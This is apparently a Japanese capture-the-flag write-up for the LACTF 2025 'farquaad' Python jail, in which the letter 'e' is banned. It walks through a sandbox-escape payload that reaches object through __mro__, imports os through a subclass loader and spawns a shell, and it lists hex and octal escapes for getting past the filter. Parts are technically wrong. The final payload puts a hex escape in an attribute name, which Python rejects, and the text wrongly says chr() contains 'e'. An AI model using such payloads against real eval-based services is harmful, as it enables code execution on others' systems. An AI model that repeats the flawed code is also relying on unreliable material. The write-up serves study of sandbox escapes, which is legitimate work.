pyjail wiki

LACTF 2025 - farquaad

Challenge

文字 ‘e’ が使用禁止の pyjail。

code = input()
# 'e' を禁止、ASCII printable のみ
if 'e' in code.lower() or not code.isprintable():
print("Invalid!")
exit()
eval(code, {'__builtins__': {}})

Solution

__mro__ による object 取得

__base__ は ‘e’ を含むため使用不可。代わりに __mro__ を使用:

# __base__ → 使用不可 ('e' を含む)
# __mro__ → OK
().__class__.__mro__[1] # object を取得

__getattribute__ へのアクセス

object.__dict__ から __getattribute__ を取得:

().__class__.__mro__[1].__dict__["__g\x65tattribut\x65__"]

hex escape による ‘e’ の回避

文字列内では \x65 が ‘e’ として解釈される:

"\x65" # = 'e'
"__g\x65tattribut\x65__" # = '__getattribute__'

完全なペイロード

().__class__.__mro__[1].__dict__["__g\x65tattribut\x65__"](().__class__.__mro__[1].__subclass\x65s__()[104], "load_modul\x65")("os").syst\x65m("sh")

Technical Details

MRO (Method Resolution Order)

# __mro__ は継承チェーン全体を返す
str.__mro__
# (<class 'str'>, <class 'object'>)
# インデックス 1 は常に object (単一継承の場合)
().__class__.__mro__[1] # <class 'object'>

文字列エスケープ

元の文字エスケープ
e\x65
a\x61
i\x69
o\x6f
u\x75

フィルタの盲点

  • ソースコード中の \x65 はフィルタでは ‘e’ として見えない
  • Python インタプリタが解釈時に ‘e’ に変換

Alternative Solutions

別解1: 8進数エスケープ

"\145" # = 'e'

別解2: chr() を使用

chr(101) # = 'e'
# ただし 'e' が含まれるので直接は使えない

Flag

lactf{...}

References